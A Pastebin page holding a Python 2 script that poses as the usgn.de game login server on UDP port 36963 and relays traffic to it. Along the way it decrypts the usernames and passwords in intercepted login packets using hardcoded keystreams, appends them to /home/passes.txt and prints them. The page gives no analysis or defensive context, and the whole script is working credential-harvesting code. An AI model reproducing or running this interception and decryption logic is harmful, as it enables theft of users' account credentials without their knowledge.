Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import sys
- port = 36963
- user_ks = [23,133,148,211,207,149,206]
- pass_ks = [209,149,133,9,189,144,183,145,211]
- def normalize(b):
- if b < 0:
- b += 255
- elif b > 255:
- b = (b - 255)
- return b
- def decrypt_name(s,len):
- name =""
- for i in range(0,len):
- name += chr(normalize(ord(s[i]) + 97 - user_ks[i % 7]))
- return name
- def decrypt_pwd(s,len):
- name =""
- for i in range(0,len):
- name += chr(normalize(ord(s[i]) + 97 - pass_ks[i % 9]))
- return name
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- last_recv = None
- usgn_ip = socket.gethostbyname("www.usgn.de")
- try:
- s.bind(('', port))
- except socket.error,err:
- print "Couldn't be a udp server on port %d : %s" % ( port, err)
- print 'Server initialzed'
- while True:
- try:
- datagram,addr = s.recvfrom(1024)
- if not datagram:
- break
- if ord(datagram[2]) == 11:
- if len(datagram) > 7:
- #print "usgn packet",
- #for i in datagram:
- # print '%d ' % ord(i),
- #print ''
- namelen = ord(datagram[3])
- encrypted_name = datagram[4:4+namelen]
- pwdlen = ord(datagram[4+namelen])
- encrypted_pwd = datagram[5+namelen:]# 5+namelen+pwdlen]
- name = decrypt_name(encrypted_name,namelen)
- pwd = decrypt_pwd(encrypted_pwd,pwdlen)
- f = open('/home/passes.txt','a')
- f.write(name + ':'+pwd + '\n')
- f.close()
- print name+ ' ' + pwd
- #print 'recv from : ' + str(addr)
- if(addr[0] == usgn_ip): #message from usgn.de --> send back to last recv user
- s.sendto(datagram,last_recv)
- else: #message from user --> forward to usgn.de
- last_recv = addr
- s.sendto(datagram,(usgn_ip,36963))
- except IndexError,e:
- print "Error with index " + str(e)
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement